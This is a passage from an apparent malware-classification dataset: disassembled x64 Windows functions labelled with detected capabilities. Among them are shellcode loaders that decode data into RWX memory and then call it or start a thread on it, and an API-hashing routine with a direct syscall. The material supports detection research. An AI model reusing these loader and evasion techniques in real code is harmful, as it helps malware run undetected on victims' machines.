joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000451c
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rax, qword [0x140025380]
xor rax, rsp
mov qword [rsp + 0x38], rax
test r8, r8
jle 0x140004571
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x140004578
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140011510
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_64
xor esi, esi
jmp 0x14000464f
mov qword [rsp + 0x30], rsi
mov rcx, rbx
call fcn.140004e14
mov qword [rsp + 0x28], rax
test rax, rax
je 0x1400045cb
lea r14, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov rcx, r14
call fcn.14000530c
mov r15, qword [rax]
mov rcx, rbx
call fcn.140004e30
mov rcx, rdi
mov rdx, rax
mov r8, r15
call fcn.140004e2a
add rdi, r15
sub qword [r14], r15
mov rcx, rbx
mov edx, r15d
call fcn.140004e38
cmp qword [rbx + 0x80], 0
je 0x14000461f
mov rcx, rbx
call fcn.140003e40
mov r8, qword [rsp + 0x30]
cmp r8, 0x1000
jb 0x140004626
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call sub.msvcrt.dll_fread
add rdi, rax
mov r8, qword [rsp + 0x30]
sub r8, rax
mov qword [rsp + 0x30], r8
cmp rax, 0xfff
je 0x1400045e2
jmp 0x14000464c
mov r8, qword [rsp + 0x30]
jmp 0x14000464c
test r8, r8
je 0x140004649
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
call sub.msvcrt.dll_fread
mov r8, qword [rsp + 0x30]
sub r8, rax
jmp 0x14000464c
xor r8d, r8d
sub rsi, r8
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140011510
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov r15, r8
test r8, r8
jle 0x140004d21
mov rdi, rdx
mov rbx, rcx
mov r15, rsi
mov rcx, rbx
call fcn.140004e14
test rax, rax
jle 0x140004cf0
mov r14, rax
cmp r15, rax
cmovb r14, r15
mov rcx, rbx
call fcn.140004e30
mov rcx, rdi
mov rdx, rax
mov r8, r14
call fcn.140004e2a
add rdi, r14
sub r15, r14
mov rcx, rbx
mov edx, r14d
call fcn.140004e38
jmp 0x140004d1c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
mov ebp, eax
call fcn.140004b42
mov ecx, eax
mov edx, ebp
call fcn.140004b3c
test al, al
jne 0x140004d21
mov ecx, ebp
call fcn.140004e4a
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x140004cb0
sub rsi, r15
mov rax, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140009daf
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r8, rdx
mov rdx, rcx
movabs rcx, 0xcbf29ce484222325
jmp 0x140009dc4
test r8, r8
je 0x140009dee
xor r9d, r9d
movabs r10, 0x100000001b3
movzx eax, byte [rdx + r9]
xor rax, rcx
imul rax, r10
inc r9
mov rcx, rax
cmp r8, r9
jne 0x140009dd6
ret
mov rax, rcx
ret
Function at 0x14000c424
Capabilities:
Parse credit card information

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebp, edx
mov rsi, rcx
mov edi, 1
cmp edx, 0x3a
je 0x14000c453
xor edi, edi
cmp ebp, 0x3d
je 0x14000c453
xor eax, eax
cmp ebp, 0x2e
mov edi, 0xe
cmove edi, eax
mov rbx, qword [rsi]
xor r14d, r14d
movabs r15, 0x4800800000000001
mov eax, dword [rsi + 0x7c]
lea ecx, [rax + 1]
cmp ecx, 0x3e
ja 0x14000c474
bt r15, rcx
jb 0x14000c481
mov rcx, rsi
call fcn.14000add0
inc r14
jmp 0x14000c463
cmp eax, ebp
jne 0x14000c4d3
cmp ebp, 0x3a
jne 0x14000c501
mov r14, qword [rsi + 0x68]
mov ecx, dword [rsi + 0x70]
mov edx, 0x100
call fcn.14000a11c
test eax, eax
setne r9b
mov r8, qword [rsi]
mov rcx, r14
mov rdx, rbx
call fcn.14000b99e
mov ebx, eax
test ax, ax
jne 0x14000c4c3
mov rcx, rsi
mov edx, 1
call fcn.14000a9b8
lea rcx, [rsi + 0x40]
mov edx, ebx
xor r8d, r8d
call fcn.14000bb16
jmp 0x14000c4dd
mov rcx, rsi
mov edx, edi
call fcn.14000a9b8
mov rcx, rsi
call fcn.14000add0
mov rcx, rsi
mov edx, 0x5d
mov r8d, edi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.14000b050
cmp ebp, 0x2e
je 0x14000c524
cmp ebp, 0x3d
jne 0x14000c4dd
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000c53d
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.14000c544
jmp 0x14000c4dd
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000c53d
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.14000c640
jmp 0x14000c4dd
mov rcx, rsi
xor edx, edx
jmp 0x14000c4d8

Function at 0x140010fd0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx], 0
je 0x140011001
mov eax, 0x75776791
mov edx, 1
xor r8d, r8d
movzx r8d, word [r8 + rcx]
mov r9d, eax
rol r9d, 0x18
add r9d, r8d
xor eax, r9d
mov r8d, edx
inc edx
cmp byte [rcx + r8], 0
jne 0x140010fe2
ret
mov eax, 0x75776791
ret
Function at 0x140011007
Capabilities:
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov eax, 1
cmp dword [0x140025628], 0
jne 0x1400111be
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
test rdx, rdx
je 0x140011136
xor r8d, r8d
mov ecx, 0xdfdfdfdf
mov rbx, rdx
movsxd rdx, dword [rdx + 0x3c]
mov edx, dword [rdx + rbx + 0x88]
test rdx, rdx
je 0x140011093
mov r8d, dword [rdx + rbx + 0xc]
add rdx, rbx
mov r9d, dword [r8 + rbx]
and r9d, ecx
cmp r9d, 0x4c44544e
jne 0x140011090
mov r9d, dword [r8 + rbx + 4]
and r9d, ecx
mov r8, rdx
cmp r9d, 0x4c440e4c
jne 0x140011093
jmp 0x1400110ab
mov r8, rdx
mov rax, qword [rax]
mov rdx, qword [rax + 0x30]
test rdx, rdx
jne 0x14001104f
mov rdx, r8
test r8, r8
je 0x140011136
mov r14d, dword [rdx + 0x18]
mov r15d, dword [rdx + 0x1c]
add r15, rbx
mov r12d, dword [rdx + 0x20]
add r12, rbx
mov r13d, dword [rdx + 0x24]
add r13, rbx
lea ebp, [r14 - 1]
xor edi, edi
lea rsi, [0x140025628]
mov ecx, dword [r12 + rbp*4]
movzx eax, word [rcx + rbx]
cmp eax, 0x775a
jne 0x140011113
add rcx, rbx
call fcn.140010fd0
mov ecx, edi
shl rcx, 4
mov dword [rcx + rsi + 8], eax
movzx eax, word [r13 + rbp*2]
mov eax, dword [r15 + rax*4]
mov dword [rcx + rsi + 0xc], eax
mov qword [rcx + rsi + 0x10], 0
inc edi
cmp edi, 0x258
je 0x14001113d
dec r14d
dec rbp
test r14d, r14d
jne 0x1400110d1
mov dword [0x140025628], edi
mov r15d, edi
dec r15d
mov eax, 1
jne 0x140011157
jmp 0x1400111be
xor eax, eax
jmp 0x1400111be
mov dword [0x140025628], 0x258
mov edi, 0x258
mov r15d, 0x257
mov eax, 1
xor ecx, ecx
lea rdx, [0x140025648]
mov r8d, r15d
mov r8d, r8d
inc ecx
cmp edi, ecx
je 0x1400111b6
mov r10d, dword [0x140025634]
mov r9, r8
mov r11, rdx
mov esi, dword [r11 - 4]
cmp r10d, esi
jbe 0x1400111aa
mov ebx, dword [r11 - 0x18]
mov r14, qword [r11 - 0x10]
mov ebp, dword [r11 - 8]
mov dword [r11 - 0x18], ebp
mov dword [r11 - 0x14], esi
mov rsi, qword [r11]
mov qword [r11 - 0x10], rsi
mov dword [r11 - 8], ebx
mov dword [r11 - 4], r10d
mov qword [r11], r14
jmp 0x1400111ad
mov r10d, esi
add r11, 0x10
dec r9
jne 0x140011179
dec r8d
cmp ecx, r15d
jne 0x140011163
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140011360
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8395cb5a
call fcn.1400111cf
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140013000
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001304a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001304a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001304a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001304a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001304a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001304c
xor al, al
add rsp, 0x28
ret

Function at 0x140014830
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rbp, r9
mov r14, r8
mov rbx, rdx
mov rsi, rcx
call fcn.1400145b0
mov rdi, qword [rsp + 0x70]
mov qword [rax + 0x138], rbx
mov rbx, qword [rdi + 8]
call fcn.1400145b0
mov qword [rax + 0x128], rbx
mov rax, qword [rsi]
mov rbx, qword [rax + 0x38]
call fcn.1400145b0
mov ecx, dword [0x140027bc0]
mov r9, rdi
mov byte [rsp + 0x38], 1
mov r8, rbp
mov edx, 8
mov qword [rax + 0x130], rbx
xor ebx, ebx
mov rax, qword gs:[0x58]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rcx, qword [rax + rcx*8]
mov eax, dword [rsp + 0x80]
mov dword [rdx + rcx], eax
mov rdx, r14
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rax
call fcn.140016ef0
call fcn.1400145b0
mov rcx, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov qword [rax + 0x138], rbx
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x50]
mov dword [rcx], 1
add rsp, 0x40
pop r14
ret

Function at 0x140014f80
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014fdc
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014fdc
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014fdc
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014fdc
cmp dword [rcx + 0x84], 0xe
jbe 0x140014fdc
cmp dword [rcx + 0xf8], 0
je 0x140014fdc
mov ecx, ebx
call fcn.1400151f0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140028710]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.140015370
cmp dword [rsp + 0x60], 0
jne 0x14001501f
mov ecx, ebx
call fcn.140015270
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140015030
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140015092
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140015092
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140015092
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140015092
cmp dword [rdx + 0x84], 0xe
jbe 0x140015092
cmp dword [rdx + 0xf8], 0
je 0x140015092
mov ecx, ebx
call fcn.1400151f0
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140028710]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.140015370
cmp dword [rsp + 0x60], 0
jne 0x1400150d5
mov ecx, ebx
call fcn.140015270
int3
add rsp, 0x40
pop rbx
ret

Function at 0x140015480
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x530
mov rax, qword [0x140025380]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor ebx, ebx
mov rdi, rdx
mov esi, ecx
test rdx, rdx
je 0x1400154ec
lea edx, [rbx + 0x2d]
mov rcx, rdi
call sub.msvcrt.dll_strchr
test rax, rax
je 0x1400154ec
mov ecx, ebx
lea r8, [rsp + 0x120]
mov rdx, rdi
nop dword [rax]
movsx eax, byte [rdx]
test al, al
je 0x14001553f
mov word [r8], ax
inc ecx
add r8, 2
inc rdx
cmp ecx, 0x100
jne 0x1400154d0
mov rcx, qword [0x140028718]
test rcx, rcx
jne 0x140015522
call fcn.1400182c0
mov rcx, rax
lea rdx, str.setlocale
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
mov qword [0x140028718], rcx
cmp rcx, 0xffffffffffffffff
cmovne rbx, rcx
test rbx, rbx
je 0x140015623
mov rdx, rdi
mov ecx, esi
call rbx
jmp 0x140015625
movsxd rax, ecx
add rax, rax
cmp rax, 0x200
jae 0x14001564a
mov edx, 0x2d
mov word [rsp + rax + 0x120], bx
lea rcx, [rsp + 0x120]
call sub.msvcrt.dll_wcsrchr
test rax, rax
je 0x1400154ec
mov r9d, 0xff
lea r8, [rsp + 0x320]
mov edx, 0x1001
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x1400154ec
lea ecx, [rax - 1]
mov r9d, 0x100
movsxd rdx, ecx
lea r8, [rsp + 0x320]
sub r9d, eax
mov ecx, 0x5f
cdqe
mov word [rsp + rdx*2 + 0x320], cx
mov edx, 0x1002
lea rcx, [rsp + 0x120]
lea r8, [r8 + rax*2]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
je 0x1400154ec
lea rcx, [rsp + 0x320]
mov eax, ebx
lea rdx, [rsp + 0x20]
movzx r8d, word [rcx]
test r8w, r8w
je 0x140015613
mov byte [rdx], r8b
inc eax
inc rdx
add rcx, 2
cmp eax, 0x100
jne 0x1400155f1
jmp 0x1400154ec
cdqe
lea rdi, [rsp + 0x20]
mov byte [rsp + rax + 0x20], bl
jmp 0x1400154ec
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140011510
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140012b18
int3
Function at 0x140015c00
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x140025380]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140015c3c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.140012ff8
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140015cf8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x140015d5e
test ebx, ebx
jne 0x140015d5e
lea ecx, [rax + 2]
call fcn.140012ff8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.140011510
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push rbx
sub rsp, 0x30
cmp ecx, 2
jne 0x1400011b7
mov rax, qword [rdx + 8]
lea r8, [rsp + 0x20]
sub r8, rax
mov dword [rsp + 0x20], 0x383939
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400010a6
inc rax
test ecx, ecx
jne 0x140001093
test edx, edx
jne 0x14000119b
mov qword [rsp + 0x40], rbp
lea r8, [0x1400022a8]
mov qword [rsp + 0x48], rsi
mov edx, 0x65
xor ecx, ecx
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov edx, edi
lea rcx, [0x1400022a0]
mov rbx, rax
call fcn.140001010
movsxd rsi, edi
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x58
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, qword [rsp + 0x50]
test rsi, rsi
jle 0x140001181
mov rbx, rbp
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x38e38e39
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
sub r8d, ecx
inc r8d
xor byte [rbx - 1], r8b
sub rsi, 1
jne 0x140001150
lea rcx, str.xxxxxxxxxxxxx_n
call fcn.140001010
call rbp
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
jmp 0x1400011d5
xor ebx, ebx
nop dword [rax]
mov edx, ebx
lea rcx, [0x1400022a0]
call fcn.140001010
inc ebx
cmp ebx, 0x58
jl 0x1400011a0
jmp 0x1400011d5
xor ebx, ebx
nop dword [rax]
mov edx, ebx
lea rcx, [0x1400022a0]
call fcn.140001010
inc ebx
cmp ebx, 0x64
jl 0x1400011c0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140001ac0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b0c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x1b8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x50]
lea rcx, [0x14000c2a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x143
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x30], 0
jmp 0x140001049
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movsxd rax, dword [rsp + 0x30]
cmp rax, 0x143
jae 0x140001081
movsxd rax, dword [rsp + 0x30]
movzx eax, byte [rsp + rax + 0x50]
imul eax, eax, 0xcd
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
movsxd rcx, dword [rsp + 0x30]
mov byte [rsp + rcx + 0x50], al
jmp 0x14000103f
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x143
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov r8d, 0x143
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call fcn.140001120
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.140001720
add rsp, 0x1b8
pop rdi
pop rsi
ret

Function at 0x140002504
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000236c
Function at 0x1400015a0
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0xa0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x98], rax
xor ebx, ebx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x40], rbx
mov rsi, rcx
mov dword [rsp + 0x50], ebx
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov dword [rsp + 0x30], eax
test eax, eax
je 0x140001792
mov ecx, eax
mov qword [rsp + 0xb8], rdi
call fcn.1400032b4
mov r8d, dword [rsp + 0x30]
mov r9, rax
mov edx, dword [rsp + 0x50]
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x14000179f
lea rax, [0x140005602]
mov rcx, rdi
lea r9, [rsp + 0x54]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x48]
lea rdx, str.VarFileInfoTranslation
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1400017ac
test dword [rsp + 0x54], 0xfffffffc
jbe 0x1400017b9
nop
mov rax, qword [rsp + 0x48]
lea r9, str.StringFileInfo_04x_04xFileDescription
mov ecx, ebx
movzx edx, word [rax + rcx*4 + 2]
movzx r8d, word [rax + rcx*4]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], edx
mov edx, 0x32
mov dword [rsp + 0x20], r8d
mov r8d, edx
call fcn.140001330
test eax, eax
js 0x140001785
lea r9, [rsp + 0x58]
mov rcx, rdi
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1400017ef
mov r8, qword [rsp + 0x38]
lea rcx, str._s_description:___s__n
mov rdx, rsi
call fcn.1400012d0
mov rcx, qword [rsp + 0x38]
lea rdx, str.3Dmigoto
mov r8d, 8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400016f1
mov eax, dword [rsp + 0x54]
inc ebx
shr eax, 2
cmp ebx, eax
jae 0x1400017b9
jmp 0x140001650
lea r9, [rsp + 0x30]
mov rcx, rdi
lea r8, [rsp + 0x40]
lea rdx, [0x1400057d0]
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1400017d5
mov rax, qword [rsp + 0x40]
lea rcx, str.3DMigoto_Version__d._d._d_n
mov edx, dword [rax + 0x10]
movzx r9d, word [rax + 0x16]
movzx r8d, dx
shr edx, 0x10
call fcn.1400012d0
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0x10003
jb 0x1400017e2
jne 0x140001754
cmp dword [rax + 0x14], 0xf0000
jb 0x1400017e2
mov rcx, rdi
call fcn.140002f10
mov rdi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140002ef0
mov rbx, qword [rsp + 0xc0]
add rsp, 0xa0
pop rsi
ret
lea rdx, str.3DMigoto_file_description_query_bugged_n
call fcn.140001560
int3
lea rdx, str.3DMigoto_version_size_check_failed_n
call fcn.140001560
int3
lea rdx, str.3DMigoto_version_info_check_failed_n
call fcn.140001560
int3
lea rdx, str.3DMigoto_file_information_query_failed_n
call fcn.140001560
int3
mov rdx, rsi
lea rcx, str.ERROR:_The_requested_module___s__is_not_3DMigoto_nPlease_ensure_that__Loader___module__is_set_correctly_and_the_DLL_is_in_place.
call fcn.1400012d0
lea rdx, str._nPress_enter_to_close..._n
call fcn.140001560
int3
lea rdx, str.3DMigoto_version_query_check_failed_n
call fcn.140001560
int3
lea rdx, str.This_version_of_3DMigoto_is_too_old_to_be_safely_loaded___please_use_1.3.15_or_later_n
call fcn.140001560
int3
lea rdx, str.3DMigoto_file_description_query_failed_n
call fcn.140001560
int3
Function at 0x141531e40
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov dword [rsp + 0x60], 0
mov byte [rsp + 0x64], 0
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 5
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x64]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x141531ec8
xor eax, eax
jmp 0x141531ef5
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x141531ee6
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
add rsp, 0x88
ret

Function at 0x141531f00
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x1b0
call fcn.141531e40
test eax, eax
jne 0x141531fa6
mov r8d, 0x104
lea rdx, [rsp + 0xa0]
xor ecx, ecx
